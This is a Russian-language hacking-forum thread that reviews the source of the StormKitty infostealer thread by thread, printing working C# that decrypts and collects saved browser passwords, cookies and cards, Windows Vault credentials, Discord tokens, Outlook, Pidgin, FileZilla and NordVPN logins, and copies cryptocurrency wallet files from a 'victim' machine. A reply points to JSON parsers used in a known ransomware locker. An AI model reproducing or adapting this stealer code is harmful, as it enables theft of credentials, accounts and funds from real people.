Threads.Add(new Thread(() =>

InstalledApps.WriteAppsList(sSavePath + "\\System")

));



// Start all threads

foreach (Thread t in Threads)

t.Start();



// Wait all threads

foreach (Thread t in Threads)

t.Join();



return Logging.Log("Report created", true);

}

catch (Exception ex) {

return Logging.Log("Failed to create report, error:\n" + ex, false);

}

}

Первый поток отвечает за сбор файлов, расширения которых указаны в конфигурации стаба. Эти файлы просто копируются с рабочего стола пользователя, с папок «Мои Документы», «Мои Картинки», «Загрузки», а так же из папок облачных хранилищ OneDrive и DropBox. Реализация этого функционала находится в классе «FileGrabber» и особого интереса не представляет, это просто поиск и копирование файлов.



Второй поток собирает пароли и другую ценную информацию из браузеров Chrome и Edge. Давайте рассмотрим реализацию более подробно. В браузерах на базе Chromium существует два вида хранения зашифрованной информации, в частности паролей. До 80ой версии Chromium ценная информация просто накрывалась локальным шифрованием с помощью DPAPI. С 80ой версии в Chromium (и многих других браузерах на его базе) стал использоваться мастер ключ (зашифрованный с помощью DPAPI), на котором затем шифровались и дешифровались данные с помощью немного хитрой версии AES — в режиме GCM (Galois/Counter Mode или же счётчик с аутентификацией Галуа), сейчас этот режим очень широко применяется в программном обеспечении и считается весьма эффективным. Для того, чтобы отличать два режима зашифрованных данных в браузерах на базе Chromium используется префиксы к зашифрованным бинарным данным. В общем случае префикс «v10» и «v11» означает, что для конкретно этих шифр-данных использовался мастер ключ и AES в режиме GCM. А его отсутствие (заголовок DPAPI) означает, что использовался старый метод — простое, как 5 копеек, использование DPAPI. Реализация дешифрования DPAPI и получение мастер ключа находится в классе «Chromium.Crypto». Стоит заметить, что использовать для этих целей нативную функцию «CryptUnprotectData» в .NET не имеет особого смысла, так как во фреймворке есть готовый статический метод «ProtectedData.Unprotect». Как будет видно далее, наш Владимир из Украины знал об этом методе, но по какой-то причине не стал его тут использовать (кхе-кхе, копипастер сраный, кхе-кхе). Мастер ключ хранится в файле «Local State» и достаётся из него с помощью регулярных выражений (изначально этот файл имеет формат JSON). AES в режиме GCM реализован с помощью встроенной в операционную систему библиотеки «bcrypt.dll» (реализацию можно найти в файлах «AesGcm.cs» и «Bcrypt.cs»), описание отдельных функций и структур этой библиотеки можно найти на MSDN (описывать их в статье пришлось бы очень долго). Вся ценная для стилера информация хранится либо в файлах формата SQLite, либо в файлах формата JSON и может хранится либо в открытом, либо в зашифрованном виде в зависимости от того, какая эта информация конкретно. Использовать готовый JSON парсер или написать свой мини-парсер для JSON (ей богу, парсить JSON очень просто) автор стилера не удосужился, поэтому парсит всё через регулярные выражения, что вполне можно признать говнокодом. Парсер для SQLite, судя по всему, был на скорую руку портирован из VB.NET (на C# явно так не пишут, я вроде видел реализации на VB.NET в каком-то публичном ратнике, наверно он взят оттуда) и выглядит просто ужасно, но, вероятно, работает более менее нормально. Для полноты картины осталось только взглянуть, откуда берётся какая информация и какими методами в коде стаба (весь функционал связанный с «хромым» находится в подпапке проекта «Targets\Browsers\Chromium»).

C#:Скопировать в буфер обмена

List<CreditCard> pCreditCards = CreditCards.Get(sProfile + "\\Web Data");

List<Password> pPasswords = Passwords.Get(sProfile + "\\Login Data");

List<Cookie> pCookies = Cookies.Get(sProfile + "\\Cookies");

List<Site> pHistory = History.Get(sProfile + "\\History");

List<Site> pDownloads = Downloads.Get(sProfile + "\\History");

List<AutoFill> pAutoFill = Autofill.Get(sProfile + "\\Web Data");

List<Bookmark> pBookmarks = Bookmarks.Get(sProfile + "\\Bookmarks");

Третий поток добывает полезную информацию из браузера Firefox. В «лисе» пароли зашифрованы довольно хитрым алгоритмом, который они (разработчики «лисы») называют PK11SDR. С наскока его не особо то и реализуешь, поэтому разработчики многих стилеров просто используют экспортируемую из библиотеки самой «лисы» «nss3.dll» функцию с именем «PK11SDR_Decrypt». Для этого нужно найти путь, куда установлена «лиса», и загрузить оттуда библиотеку «mozglue.dll» (так как библиотека «nss3.dll» от неё зависит), а затем и саму библиотеку «nss3.dll». Прежде чем мы перейдём к тому, как вызывать эту функцию, нужно понять преимущества и недостатки этого метода. Безусловно то, что эта библиотека всегда есть вместе с установленной «лисой», это — хорошо, и нам нет необходимости реализовывать комплексный алгоритм самим или таскать с собой большую библиотеку для расшифровки. Однако стоит обратить внимание, что релизная версия стаба собирается в режиме x64 (не x86 и не AnyCPU), то есть стаб будет запускаться, как 64-битный процесс. В том случае, если на компьютере жертвы будет установлена 32-битная версия «лисы», 64-битный процесс стаба просто не сможет загрузить эти необходимые для расшифровки динамические библиотеки. И это — довольно жирный минус. Плюс ко всему вполне вероятно, что для некоторых антивирусов попытка рандомного процесса загружать динамические библиотеки из папки «лисы» будет считаться заведомо вредоносным поведением (но это конечно нужно проверять). Экспортируемая функция «PK11SDR_Decrypt» принимает на вход шифр-данные и возвращает открытые данные в виде указателей на структуры типа TSECItem (в дотнете вполне для передачи указателя на структуру можно воспользоваться модификатором «ref»), которые в свою очередь содержат указатель на буферы с данными и размеры этих буферов. Код дешифрования паролей реализован в файле «Decryptor.cs» и довольно прост. Разве что вызывать эти функции можно было бы и простым PInvoke после того, как библиотека «nss3.dll» была загружена в процесс, чтобы не морочиться с указателями и делегатами. PInvoke сделает ровно тоже самое, но автор проекта вероятно об этом просто не знал. Аналогично с «хромым» ценная информация добывается из файлов профиля пользователя, которые могут быть либо в формате SQLite, либо JSON в зависимости от конкретной информации. Давайте рассмотрим, в каких классах реализовано получение какой информации из следующего фрагмента кода (весь функционал связанный с «лисой» находится в подпапке проекта «Targets\Browsers\Firefox»).

C#:Скопировать в буфер обмена

List<Bookmark> bookmarks = Firefox.cBookmarks.Get(browser); // Read all Firefox bookmarks

List<Cookie> cookies = Firefox.cCookies.Get(browser); // Read all Firefox cookies

List<Site> history = Firefox.cHistory.Get(browser); // Read all Firefox history

List<Password> passwords = Firefox.cPasswords.Get(browser); // Read all Firefox passwords
 

xam111

Участник
Сообщения
10
Реакции
22
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Четвертый поток занимается получением паролей из старого доброго «осла» (он же Internet Explorer, напиши в комментариях, если ты злостный ретроград и до сих пор сидишь на XP и используешь браузер Internet Explorer). Тут все достаточно просто: «осел» 11ой версии наряду с другими сервисами и приложениями операционных систем семейства Windows хранит пароли в «Windows Vault» (хранилище паролей операционной системы), ну а версии «осла» ниже 11ой, наверное, вообще не имеет смысла поддерживать в наши дни. Для доступа к этому хранилищу можно использовать функции нативной библиотеки «vaultcli.dll». Это сравнительно плохо документированная вещь, а реализация была скопипастена Владимиром из других оупенсорсных проектов и, честно говоря, выглядит она очень по-говнокодерски (например, за каким хером в этой реализации используется Reflection вообще не понятно, все было бы куда проще и красивее реализовано без него). Но, говоря о реализации, стоит упомянуть несколько важных вещей об этом алгоритме. Хранилище (это наше системное) может хранить данные нескольких разных типов, для получения конкретного значения из структуры элемента (в которой есть идентификатор типа) была реализована вложенная функция (фича языка С# версии 8.0 вроде) под названием «GetVaultElementValue». Структура одной хранимой записи различается на операционных системах Windows 7 и Windows 8-10. По коду сначала перечисляются все хранилища, затем в цикле для каждого хранилища открывается хендл и перечисляются записи каждого конкретного хранилища. А из каждой записи достаются элементы, соответствующие имени ресурса, имени пользователя и его паролю. Когда говоришь об этом на словах, алгоритм кажется очень простым (в принципе так и есть), но он все же требует достаточно большого количества кода для его реализации из-за сравнительно неудобного интерфейса, предоставляемого библиотекой «vaultcli.dll». И опять же, скопипастеный Владимиром код этого алгоритма — далеко не лучший вариант, который мог бы быть. Но чем богаты, тем и рады.

C#:Скопировать в буфер обмена

public static List<Password> Get()

{

List<Password> pPasswords = new List<Password>();



var OSVersion = Environment.OSVersion.Version;

var OSMajor = OSVersion.Major;

var OSMinor = OSVersion.Minor;



Type VAULT_ITEM;



if (OSMajor >= 6 && OSMinor >= 2)

{

VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8);

}

else

{

VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7);

}



/* Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct */

object GetVaultElementValue(IntPtr vaultElementPtr)

{

object results;

object partialElement = Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT));

FieldInfo partialElementInfo = partialElement.GetType().GetField("Type");

var partialElementType = partialElementInfo.GetValue(partialElement);



IntPtr elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16);

switch ((int)partialElementType)

{

case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords!

IntPtr StringPtr = Marshal.ReadIntPtr(elementPtr);

results = Marshal.PtrToStringUni(StringPtr);

break;

case 0: // VAULT_ELEMENT_TYPE == bool

results = Marshal.ReadByte(elementPtr);

results = (bool)results;

break;

case 1: // VAULT_ELEMENT_TYPE == Short

results = Marshal.ReadInt16(elementPtr);

break;

case 2: // VAULT_ELEMENT_TYPE == Unsigned Short

results = Marshal.ReadInt16(elementPtr);

break;

case 3: // VAULT_ELEMENT_TYPE == Int

results = Marshal.ReadInt32(elementPtr);

break;

case 4: // VAULT_ELEMENT_TYPE == Unsigned Int

results = Marshal.ReadInt32(elementPtr);

break;

case 5: // VAULT_ELEMENT_TYPE == Double

results = Marshal.PtrToStructure(elementPtr, typeof(Double));

break;

case 6: // VAULT_ELEMENT_TYPE == GUID

results = Marshal.PtrToStructure(elementPtr, typeof(Guid));

break;

case 12: // VAULT_ELEMENT_TYPE == Sid

IntPtr sidPtr = Marshal.ReadIntPtr(elementPtr);

var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr);

results = sidObject.Value;

break;

default:

/* Several VAULT_ELEMENT_TYPES are currently unimplemented according to

* Lord Graeber. Thus we do not implement them. */

results = null;

break;

}

return results;

}

/* End helper function */



Int32 vaultCount = 0;

IntPtr vaultGuidPtr = IntPtr.Zero;

var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);



//var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr);



if ((int)result != 0)

{

throw new Exception("[ERROR] Unable to enumerate vaults. Error (0x" + result.ToString() + ")");

}



// Create dictionary to translate Guids to human readable elements

IntPtr guidAddress = vaultGuidPtr;

Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>();

vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note");

vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential");

vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector");

vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials");

vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials");

vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential");

vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential");

vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential");

vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null);



for (int i = 0; i < vaultCount; i++)

{

// Open vault block

object vaultGuidString = Marshal.PtrToStructure(guidAddress, typeof(Guid));

Guid vaultGuid = new Guid(vaultGuidString.ToString());

guidAddress = (IntPtr)(guidAddress.ToInt64() + Marshal.SizeOf(typeof(Guid)));

IntPtr vaultHandle = IntPtr.Zero;

string vaultType;

if (vaultSchema.ContainsKey(vaultGuid))

{

vaultType = vaultSchema[vaultGuid];

}

else

{

vaultType = vaultGuid.ToString();

}

result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle);

if (result != 0)

{

Console.WriteLine("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString());

continue;

}

// Vault opened successfully! Continue.



// Fetch all items within Vault

int vaultItemCount = 0;

IntPtr vaultItemPtr = IntPtr.Zero;

result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);

if (result != 0)

{

Console.WriteLine("[ERROR] Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString());

continue;

}

var structAddress = vaultItemPtr;

if (vaultItemCount > 0)

{

// For each vault item...

for (int j = 1; j <= vaultItemCount; j++)

{

// Begin fetching vault item...

var currentItem = Marshal.PtrToStructure(structAddress, VAULT_ITEM);

structAddress = (IntPtr)(structAddress.ToInt64() + Marshal.SizeOf(VAULT_ITEM));



IntPtr passwordVaultItem = IntPtr.Zero;

// Field Info retrieval

FieldInfo schemaIdInfo = currentItem.GetType().GetField("SchemaId");

Guid schemaId = new Guid(schemaIdInfo.GetValue(currentItem).ToString());

FieldInfo pResourceElementInfo = currentItem.GetType().GetField("pResourceElement");

IntPtr pResourceElement = (IntPtr)pResourceElementInfo.GetValue(currentItem);

FieldInfo pIdentityElementInfo = currentItem.GetType().GetField("pIdentityElement");

IntPtr pIdentityElement = (IntPtr)pIdentityElementInfo.GetValue(currentItem);



IntPtr pPackageSid = IntPtr.Zero;

if (OSMajor >= 6 && OSMinor >= 2)

{

// Newer versions have package sid

FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid");

pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem);

result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);

} else {

result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);

}



if (result != 0)

{

Console.WriteLine("Error occured while retrieving vault item. Error: 0x" + result.ToString());

continue;

}

object passwordItem = Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM);

FieldInfo pAuthenticatorElementInfo = passwordItem.GetType().GetField("pAuthenticatorElement");

IntPtr pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem);





Password pPassword = new Password();



object resource = GetVaultElementValue(pResourceElement);

if (resource != null)

pPassword.sUrl = resource.ToString();



object identity = GetVaultElementValue(pIdentityElement);

if (identity != null)

pPassword.sUsername = identity.ToString();



object cred = GetVaultElementValue(pAuthenticatorElement);

if (cred != null)

pPassword.sPassword = cred.ToString();



Counter.Passwords++;

pPasswords.Add(pPassword);

}

}

}



return pPasswords;

}

Пятый поток достаёт Discord токены, не особо понимаю, зачем они должны кому-либо понадобится, наверное, это тоже сделано для дополнительной галочки в списке фич стилера. Для этого директории с файлами, которые могут содержать токены копируются в папку временных файлов текущего пользователя (ну «%TEMP%» же). Затем в скопированных папках ищутся файлы с расширениями «log» и «ldb», внутри которых уже с помощью регулярного выражения ищутся все строки, которые внешне похоже на токены. При этом все файлы считываются как текст, несмотря на то, что формат LevelDB вроде бинарный, если ничего не путаю. Искать с помощью регулярных выражений какой-то текст среди бинарных данных — такое себе занятия, но, наверное, это как то должно более менее работать (реализация этого алгоритма находится в файле «Discord.cs»).

C#:Скопировать в буфер обмена

private static Regex TokenRegex = new Regex(@"[a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}|mfa\.[a-zA-Z0-9_\-]{84}");

private static string[] DiscordDirectories = new string[] {

"Discord\\Local Storage\\leveldb",

"Discord PTB\\Local Storage\\leveldb",

"Discord Canary\\leveldb",

};



/* ... */



public static string[] GetTokens()

{

List<string> tokens = new List<string>();

try

{

foreach (string dir in DiscordDirectories)

{

string directory = Path.Combine(Paths.appdata, dir);

string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name);



if (!Directory.Exists(directory))

continue;



Filemanager.CopyDirectory(directory, cpdirectory);



foreach (string file in Directory.GetFiles(cpdirectory))

{

if (!file.EndsWith(".log") && !file.EndsWith(".ldb"))

continue;



string text = File.ReadAllText(file);

Match match = TokenRegex.Match(text);

if (match.Success)

tokens.Add($"{match.Value} - {TokenState(match.Value)}");

}



Filemanager.RecursiveDelete(cpdirectory);



}

}

catch (Exception ex) { Console.WriteLine(ex); }

return tokens.ToArray();

}

Шестой поток получает аккаунты и пароли, сохранённые в мессенджере Pidgin. Тут все предельно просто, Pidgin хранит эту информацию в открытом виде в файле «accounts.xml», а для формата XML (в отличии от формата JSON) есть готовые парсеры, встроенные во фреймворк дотнета. Кроме того для Pidgin ещё и выгружаются логи. Реализации этих предельно простых алгоритмов можно найти в файле «Pidgin.cs».

C#:Скопировать в буфер обмена

private static void GetAccounts(string sSavePath)

{

string accounts = Path.Combine(PidginPath, "accounts.xml");

if (!File.Exists(accounts)) return;



try

{

XmlDocument xml = new XmlDocument();

xml.Load(new XmlTextReader(accounts));



foreach (XmlNode nl in xml.DocumentElement.ChildNodes)

{

var Protocol = nl.ChildNodes[0].InnerText;

var Login = nl.ChildNodes[1].InnerText;

var Password = nl.ChildNodes[2].InnerText;



if (!string.IsNullOrEmpty(Protocol) && !string.IsNullOrEmpty(Login) && !string.IsNullOrEmpty(Password))

{

SBTwo.AppendLine($"Protocol: {Protocol}");

SBTwo.AppendLine($"Username: {Login}");

SBTwo.AppendLine($"Password: {Password}\r\n");



Counter.Pidgin++;

}

else

break;



}

if (SBTwo.Length > 0)

{

Directory.CreateDirectory(sSavePath);

File.AppendAllText(sSavePath + "\\accounts.txt", SBTwo.ToString());

}

}

catch (Exception ex) { StormKitty.Logging.Log("Pidgin >> Failed to collect accounts\n" + ex); }

}



Седьмой поток расшифровывает сохранённые аккаунты и пароли из почтового клиента Microsoft Outlook. Этот самый «мелкомягкий» Outlook в зависимости от версии хранит данные об аккаунтах и паролях в ключах реестра. Пароли зашифрованы с помощью DPAPI, остальная информация присутствует в реестре в открытом виде. Честно говоря, ума не преложу, зачем это было сделано, но Outlook до записи в реестр зашифрованного пароля добавляет в начало один байт. Возможно, этот байт что-то и значит для Outlook, но разработкам стилеров на него наплевать, он просто отбрасывается, а оставшийся буфер шифр-данных расшифровывается с помощью DPAPI. Помните, в секции, посвящённой «хромому», я упоминал об удобном статическом методе для дешифрования DPAPI в дотнет фреймворке - «ProtectedData.Unprotect»? Так вот здесь наш Владимир из Украины сподобился его использовать. Почему так? Складывается впечатление, что он просто накопипастил и/или напортировал кода из других проектов стилеров и особо не задумывался о результате и адекватности кода. Реализацию этого всего можно найти в файле «Outlook.cs».

C#:Скопировать в буфер обмена

private static Regex mailClient = new Regex(@"^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$");

private static Regex smptClient = new Regex(@"^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$");



public static void GrabOutlook(string sSavePath)

{

string data = "";



string[] RegDirecories = new string[]

{

"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",

"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",

"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",

"Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"

};



string[] mailClients = new string[]

{

"SMTP Email Address","SMTP Server","POP3 Server",

"POP3 User Name","SMTP User Name","NNTP Email Address",

"NNTP User Name","NNTP Server","IMAP Server","IMAP User Name",

"Email","HTTP User","HTTP Server URL","POP3 User",

"IMAP User", "HTTPMail User Name","HTTPMail Server",

"SMTP User","POP3 Password2","IMAP Password2",

"NNTP Password2","HTTPMail Password2","SMTP Password2",

"POP3 Password","IMAP Password","NNTP Password",

"HTTPMail Password","SMTP Password"

};



foreach (string dir in RegDirecories)

data += Get(dir, mailClients);



if (!string.IsNullOrEmpty(data))

{

Counter.Outlook = true;

Directory.CreateDirectory(sSavePath);

File.WriteAllText(sSavePath + "\\Outlook.txt", data + "\r\n");

}



}



private static string Get(string path, string[] clients)

{

string data = "";

try

{

foreach (string client in clients)

try

{

object value = GetInfoFromRegistry(path, client);

if (value != null && client.Contains("Password") && !client.Contains("2"))

data += $"{client}: {DecryptValue((byte[])value)}\r\n";

else

if (smptClient.IsMatch(value.ToString()) || mailClient.IsMatch(value.ToString()))

data += $"{client}: {value}\r\n";

else

data += $"{client}: {Encoding.UTF8.GetString((byte[])value).Replace(Convert.ToChar(0).ToString(), "")}\r\n";

} catch { }



Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path, false);

string[] Clients = key.GetSubKeyNames();



foreach (string client in Clients)

data += $"{Get($"{path}\\{client}", clients)}";



} catch { }

return data;

}



private static object GetInfoFromRegistry(string path, string valueName)

{

object value = null;

try

{

Microsoft.Win32.RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path, false);

value = registryKey.GetValue(valueName);

registryKey.Close();

} catch { }

return value;

}



private static string DecryptValue(byte[] encrypted)

{

try

{

byte[] decoded = new byte[encrypted.Length - 1];

Buffer.BlockCopy(encrypted, 1, decoded, 0, encrypted.Length - 1);

return Encoding.UTF8.GetString(

System.Security.Cryptography.ProtectedData.Unprotect(

decoded, null, System.Security.Cryptography.DataProtectionScope.CurrentUser))

.Replace(Convert.ToChar(0).ToString(), "");

} catch { }

return "null";

}

Восьмой и девятый потоки занимаются сбором сессий Telegram и Skype соответственно. Для Telegram стилер копирует папку «tdata» и сохраняет соответствующие файлы, а для Skype копируется директория «Local Storage». Алгоритмы всего этого предельно просты и в дальнейшем описании не нуждаются, реализация находится в файлах «Telegram.cs» и «Skype.cs» соответственно.



Десятый и одиннадцатый потоки добывают сессии Steam, Uplay, Battle.NET и кучу всяких непонятно зачем нужный файлов из Minecraft. Реализация алгоритмов добычи этих данных находится в папке «Gaming» в отдельных файлах, соответствующих каждому из сервисов. Тут опять же ничего интересного нет, просто копирование файлов и каталогов.



Двенадцатый поток занимается извлечением данных криптовалютных кошельков. В зависимости от того, какая программа используется для доступа к кошельку, он может хранится либо на файловой системе, либо в реестре. В любом случае алгоритм просто извлекает данные из соответствующего места, его реализация находится в файле «Wallets.cs».

C#:Скопировать в буфер обмена

// Wallets list directories

private static List<string[]> sWalletsDirectories = new List<string[]>

{

new string[] { "Zcash", Paths.appdata + "\\Zcash" },

new string[] { "Armory", Paths.appdata + "\\Armory" },

new string[] { "Bytecoin", Paths.appdata + "\\bytecoin" },

new string[] { "Jaxx", Paths.appdata + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb" },

new string[] { "Exodus", Paths.appdata + "\\Exodus\\exodus.wallet" },

new string[] { "Ethereum", Paths.appdata + "\\Ethereum\\keystore" },

new string[] { "Electrum", Paths.appdata + "\\Electrum\\wallets" },

new string[] { "AtomicWallet", Paths.appdata + "\\atomic\\Local Storage\\leveldb" },

new string[] { "Guarda" , Paths.appdata + "\\Guarda\\Local Storage\\leveldb" },

new string[] { "Coinomi", Paths.lappdata + "\\Coinomi\\Coinomi\\wallets" },

};

// Wallets list from registry

private static string[] sWalletsRegistry = new string[]

{

"Litecoin",

"Dash",

"Bitcoin"

};



// Write wallet.dat

public static void GetWallets(string sSaveDir)

{

try

{

Directory.CreateDirectory(sSaveDir);



foreach (string[] wallet in sWalletsDirectories)

CopyWalletFromDirectoryTo(sSaveDir, wallet[1], wallet[0]);



foreach (string wallet in sWalletsRegistry)

CopyWalletFromRegistryTo(sSaveDir, wallet);



if (Counter.Wallets == 0)

Filemanager.RecursiveDelete(sSaveDir);



} catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallets\n" + ex); }

}



// Copy wallet files to directory

private static void CopyWalletFromDirectoryTo(string sSaveDir, string sWalletDir, string sWalletName)

{

string cdir = sWalletDir;

string sdir = Path.Combine(sSaveDir, sWalletName);

if (Directory.Exists(cdir))

{

Filemanager.CopyDirectory(cdir, sdir);

Counter.Wallets++;

}

}



// Copy wallet from registry to directory

private static void CopyWalletFromRegistryTo(string sSaveDir, string sWalletRegistry)

{

string sdir = Path.Combine(sSaveDir, sWalletRegistry);

try

{

using (var registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey(sWalletRegistry).OpenSubKey($"{sWalletRegistry}-Qt"))

{

if (registryKey != null)

{

string cdir = registryKey.GetValue("strDataDir").ToString() + "\\wallets";

if (Directory.Exists(cdir))

{

Filemanager.CopyDirectory(cdir, sdir);

Counter.Wallets++;

}

}

}

}

catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallet from registry\n" + ex); }

}


Тринадцатый поток собирает сохранённые аккаунты и пароли из FTP-клиента FileZilla. Клиент FileZilla хранит эту информацию в нескольких файлах формата XML в открытом виде (пароль накрыт BASE64, но это считай тоже самое, что и открытый вид). Реализация этого алгоритма находится в файле «Filezilla.cs», для парсинга XML используются встроенные в дотнет фреймворк классы.

C#:Скопировать в буфер обмена

// Get filezilla .xml files

private static string[] GetPswPath()

{

string fz = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\FileZilla\";

return new string[] { fz + "recentservers.xml", fz + "sitemanager.xml" };

}



private static List<Password> Steal(string sSavePath)

{

List<Password> lpPasswords = new List<Password>();



string[] files = GetPswPath();

// If files not exists

if (!File.Exists(files[0]) && !File.Exists(files[1]))

return lpPasswords;



foreach (string pwFile in files)

{

try

{

if (!File.Exists(pwFile))

continue;



// Open xml document

XmlDocument xDOC = new XmlDocument();

xDOC.Load(pwFile);



foreach (XmlNode xNode in xDOC.GetElementsByTagName("Server"))

{



Password pPassword = new Password();



pPassword.sUrl = "ftp://" + xNode["Host"].InnerText + ":" + xNode["Port"].InnerText + "/";

pPassword.sUsername = xNode["User"].InnerText;

pPassword.sPassword = Encoding.UTF8.GetString(Convert.FromBase64String(xNode["Pass"].InnerText));



Counter.FTPHosts++;

lpPasswords.Add(pPassword);

}



// Copy file

File.Copy(pwFile, Path.Combine(sSavePath, new FileInfo(pwFile).Name));



}

catch (Exception ex) { StormKitty.Logging.Log("Filezilla >> Failed collect passwords\n" + ex); }

}

return lpPasswords;

}

Четырнадцатый поток занимается тремя различными VPN сервисами, реализации алгоритмов для каждого сервиса находятся в папке «VPN» с соответствующими именами файлов исходных кодов по имени сервиса. Для ProtonVPN просто копируются все файлы с именем «user.config», для OpenVPN копируются файлы с расширением «ovpn». Для NordVPN сделан более комплексный алгоритм. Он считывает файл «user.config» (файл формата XML), находит в нем записи, соответствующие логину и паролю, затем расшифровывает их с помощью BASE64 и DPAPI. Опять же в данном конкретном случае Владимир использует именно «ProtectedData.Unprotect» для расшифровки DPAPI.

C#:Скопировать в буфер обмена

private static string Decode(string s)

{

try {

return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), null, DataProtectionScope.LocalMachine));

} catch {

return "";

}

}



// Save("NordVPN");

public static void Save(string sSavePath)

{

// "NordVPN" directory path

DirectoryInfo vpn = new DirectoryInfo(Path.Combine(Paths.lappdata, "NordVPN"));

// Stop if not exists

if (!vpn.Exists)

return;



try

{

Directory.CreateDirectory(sSavePath);

// Search user.config

foreach (DirectoryInfo d in vpn.GetDirectories("NordVpn.exe*"))

foreach (DirectoryInfo v in d.GetDirectories())

{

string userConfigPath = Path.Combine(v.FullName, "user.config");

if (File.Exists(userConfigPath))

{

// Create directory with VPN version to collect accounts

Directory.CreateDirectory(sSavePath + "\\" + v.Name);



var doc = new XmlDocument();

doc.Load(userConfigPath);



string encodedUsername = doc.SelectSingleNode("//setting[@name='Username']/value").InnerText;

string encodedPassword = doc.SelectSingleNode("//setting[@name='Password']/value").InnerText;



if (encodedUsername != null && !string.IsNullOrEmpty(encodedUsername) &&

encodedPassword != null && !string.IsNullOrEmpty(encodedPassword))

{

string username = Decode(encodedUsername);

string password = Decode(encodedPassword);



Counter.VPN++;

File.AppendAllText(sSavePath + "\\" + v.Name + "\\accounts.txt", $"Username: {username}\nPassword: {password}\n\n");

}





}

}

}

catch { }

}

Остальные потоки получают различную информацию об операционной системе и компьютере жертвы, делает снимки экрана и веб-камеры (это мы уже рассмотрели ранее), сканируют локальную сеть и так далее. Подавляющее большинство подобного кода можно найти в Гугле и StackOverflow

У всех парсеров выше одна проблема - нужно заранее знать кол-во значений в JSON-обьекте Можно выделять память с запасом, но лучше, как мне кажется, чтобы парсер сам выделял память под все значения сразу. Кол-во значений, наверное, можно подсчитать по кол-ву символов "\":"
JSON-парсера:
https://github.com/rafagafe/tiny-json
https://github.com/zserge/jsmn
https://github.com/udp/json-parser. Проверен и успешо используется во всех версиях всем известонго локера.
 

Form

Участник
Сообщения
42
Реакции
29
0 руб.
У меня колесо на мышке наебн7улось
 

Laminat

Новичок
Сообщения
13
Реакции
0
0 руб.
Мне это читать? Если бы не ползунок справа у меня бы была такая же ситуация как у чела сверху. Походу он не увидел его(
 
Сверху Снизу